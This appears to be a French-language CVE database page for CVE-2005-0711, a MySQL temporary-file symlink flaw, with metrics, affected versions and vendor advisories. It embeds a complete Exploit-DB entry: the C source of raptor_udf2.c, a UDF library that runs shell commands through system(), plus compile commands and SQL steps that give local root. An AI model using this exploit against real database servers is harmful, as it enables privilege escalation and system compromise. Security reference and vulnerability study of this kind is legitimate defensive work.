CVE-2005-0711 : Détail

CVE-2005-0711

0.13%V3
Local
2005-03-11
04h00 +00:00
2018-10-03
18h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

MySQL 4.0.23 and earlier, and 4.1.x up to 4.1.10, uses predictable file names when creating temporary tables, which allows local users with CREATE TEMPORARY TABLE privileges to overwrite arbitrary files via a symlink attack.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 25211

Date de publication : 2006-01-17 23h00 +00:00
Auteur : Marco Ivaldi
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/12781/info MySQL is reported prone to multiple vulnerabilities that can be exploited by a remote authenticated attacker. The following individual issues are reported: - Insecure temporary file-creation vulnerability. Reports indicate that an attacker with 'CREATE TEMPORARY TABLE' privileges on an affected installation may leverage this vulnerability to corrupt files with the privileges of the MySQL process. - Input-validation vulnerability. Remote attackers with INSERT and DELETE privileges on the 'mysql' administrative database can exploit this. Reports indicate that this issue may be leveraged to load and execute a malicious library in the context of the MySQL process. - Remote arbitrary-code execution vulnerability. Reportedly, the vulnerability may be triggered by employing the 'CREATE FUNCTION' statement to manipulate functions to control sensitive data structures. This issue may be exploited to execute arbitrary code in the context of the database process. These issues are reported to exist in MySQL versions prior to MySQL 4.0.24 and 4.1.10a. /* * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $ * * raptor_udf2.c - dynamic library for do_system() MySQL UDF * Copyright (c) 2006 Marco Ivaldi <[email protected]> * * This is an helper dynamic library for local privilege escalation through * MySQL run with root privileges (very bad idea!), slightly modified to work * with newer versions of the open-source database. Tested on MySQL 4.1.14. * * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c * * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes * for the security vulnerabilities in the handling of User Defined Functions * (UDFs) reported by Stefano Di Paola <[email protected]>. For further * details, please refer to: * * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html * http://www.wisec.it/vulns.php?page=4 * http://www.wisec.it/vulns.php?page=5 * http://www.wisec.it/vulns.php?page=6 * * "UDFs should have at least one symbol defined in addition to the xxx symbol * that corresponds to the main xxx() function. These auxiliary symbols * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and * xxx_add() functions". -- User Defined Functions Security Precautions * * Usage: * $ id * uid=500(raptor) gid=500(raptor) groups=500(raptor) * $ gcc -g -c raptor_udf2.c * $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc * $ mysql -u root -p * Enter password: * [...] * mysql> use mysql; * mysql> create table foo(line blob); * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so')); * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so'; * mysql> create function do_system returns integer soname 'raptor_udf2.so'; * mysql> select * from mysql.func; * +-----------+-----+----------------+----------+ * | name | ret | dl | type | * +-----------+-----+----------------+----------+ * | do_system | 2 | raptor_udf2.so | function | * +-----------+-----+----------------+----------+ * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); * mysql> \! sh * sh-2.05b$ cat /tmp/out * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * [...] */ #include <stdio.h> #include <stdlib.h> enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS; typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT; int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return(0); system(args->args[0]); return(0); } char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return(0); }

Products Mentioned

Configuraton 0

Mysql>>Mysql >> Version 4.1.0

Mysql>>Mysql >> Version 4.1.3

Mysql>>Mysql >> Version 4.1.10

Oracle>>Mysql >> Version 3.23.49

Oracle>>Mysql >> Version 4.0.0

Oracle>>Mysql >> Version 4.0.1

Oracle>>Mysql >> Version 4.0.2

Oracle>>Mysql >> Version 4.0.3

Oracle>>Mysql >> Version 4.0.4

Oracle>>Mysql >> Version 4.0.5

Oracle>>Mysql >> Version 4.0.5a

Oracle>>Mysql >> Version 4.0.6

Oracle>>Mysql >> Version 4.0.7

Oracle>>Mysql >> Version 4.0.7

Oracle>>Mysql >> Version 4.0.8

Oracle>>Mysql >> Version 4.0.8

Oracle>>Mysql >> Version 4.0.9

Oracle>>Mysql >> Version 4.0.9

Oracle>>Mysql >> Version 4.0.10

Oracle>>Mysql >> Version 4.0.11

Oracle>>Mysql >> Version 4.0.11

Oracle>>Mysql >> Version 4.0.12

Oracle>>Mysql >> Version 4.0.13

Oracle>>Mysql >> Version 4.0.14

Oracle>>Mysql >> Version 4.0.15

Oracle>>Mysql >> Version 4.0.18

Oracle>>Mysql >> Version 4.0.20

Oracle>>Mysql >> Version 4.0.21

Oracle>>Mysql >> Version 4.0.23

Oracle>>Mysql >> Version 4.1.0

Oracle>>Mysql >> Version 4.1.2

Oracle>>Mysql >> Version 4.1.3

Oracle>>Mysql >> Version 4.1.4

Oracle>>Mysql >> Version 4.1.5

Références

http://www.trustix.org/errata/2005/0009/
Tags : vendor-advisory, x_refsource_TRUSTIX
http://www.debian.org/security/2005/dsa-707
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.redhat.com/support/errata/RHSA-2005-334.html
Tags : vendor-advisory, x_refsource_REDHAT
http://sunsolve.sun.com/search/document.do?assetkey=1-26-101864-1
Tags : vendor-advisory, x_refsource_SUNALERT
https://usn.ubuntu.com/96-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.redhat.com/support/errata/RHSA-2005-348.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDKSA-2005:060
Tags : vendor-advisory, x_refsource_MANDRAKE
http://www.gentoo.org/security/en/glsa/glsa-200503-19.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securityfocus.com/bid/12781
Tags : vdb-entry, x_refsource_BID